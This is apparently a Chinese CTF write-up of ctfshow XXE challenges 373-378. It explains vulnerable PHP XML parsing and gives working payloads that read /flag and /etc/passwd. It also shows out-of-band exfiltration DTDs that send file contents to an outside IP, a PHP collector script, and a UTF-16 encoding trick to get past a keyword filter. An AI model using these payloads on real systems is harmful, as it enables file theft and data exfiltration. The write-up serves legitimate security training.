先了解一下什么是XML

XML是一种类似 “标签式记事本” 的数据格式,用来存储和传输结构化信息。它的核心特点是:

<标签>内容</标签> 的形式包裹数据

<user>
    <name>张三</name>
    <age>25</age>
</user>

XML 允许引用外部内容<!ENTITY xxe SYSTEM "file:///etc/passwd">,就导致了XXE漏洞

373

<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    $creds = simplexml_import_dom($dom);
    $ctfshow = $creds->ctfshow;
    echo $ctfshow;
}
highlight_file(__FILE__); 
libxml_disable_entity_loader(false);
启用外部实体加载(默认情况下应禁用),允许 XML 引用外部文件(如 file://、php://filter)。
$xmlfile = file_get_contents('php://input');
读取 HTTP 请求的原始输入(POST 数据),获取用户提交的 XML。
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
解析 XML 时:
LIBXML_NOENT:允许替换 XML 实体(如 &xxe;)。
LIBXML_DTDLOAD:允许加载外部 DTD(文档类型定义)。
simplexml_import_dom($dom);
将 DOM 对象转为 SimpleXML 对象,方便提取数据。
$ctfshow = $creds->ctfshow;
提取 XML 中 <ctfshow> 标签的内容并输出。
highlight_file(__FILE__);
高亮显示当前 PHP 文件代码(通常用于调试)。

直接发包

<?xml version="1.0"?>
<!DOCTYPE payload [
<!ELEMENT payload ANY>  <!-- 声明 payload 元素可以包含任何内容 -->
<!ENTITY xxe SYSTEM "file:///flag">  <!-- 定义外部实体 xxe,读取 /flag 文件 -->
]>
<creds>
<ctfshow>&xxe;</ctfshow>  <!-- 引用实体 xxe,将 /flag 内容插入此处 -->
</creds>
php://filter/convert.base64-encode/resource=/flag

尝试远程rce

先启动服务

python3 -m http.server 7777

可以看到执行了XXE漏洞,并且访问了我们的文件,但是无回显

外带数据1

evil.dtd保存在服务器,确保可以访问

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://1.95.38.189:7777/?leak=%file;'>">
%eval;
<!DOCTYPE payload [
<!ENTITY % dtd SYSTEM "http://1.95.38.189:7777/evil.dtd">
%dtd;
%exfil;
]>
<payload>test</payload>

374-376

<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);   

这里就是只解析XML,并没有回显了,可以用外带数据

外带数据2

xxe.php

<?php 
    $xxe = $_GET['a'];
    $myFile = "xxe.txt";
    file_put_contents($myFile, $xxe, FILE_APPEND);
?>

xxe.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://1.95.38.189:7777/xxe.php?a=%file;'>">
<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://1.95.38.189:7777/xxe.dtd">
%remote;%int;%send;
]>

375

/<\?xml version="1\.0"/

仅检测 <?xml version="1.0",但 XML 可以不声明版本或换用其他编码,用前面的外带数据

376

/<\?xml version="1\.0"/i

过滤大小写

377

/<\?xml version="1\.0"|http/i

过滤http,用utf-16编码绕过

import requests
url = 'http://187a735f-1b30-4f93-a046-ef70f2cfeb21.challenge.ctf.show/'
payload = '''
<!DOCTYPE payload [
<!ENTITY % dtd SYSTEM "http://1.95.38.189:7777/evil.dtd">
%dtd;
%exfil;
]>
<payload>test</payload>
'''
payload = payload.encode('utf-16')
rep = requests.post(url=url, data=payload)
print(rep.text)

378

让我们登录

这是很标准的XML框架

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY file SYSTEM "file:///flag">
]>
<user>
<username>&file;</username>
<password>123</password>
</user>
此作者没有提供个人介绍。
最后更新于 2025-07-22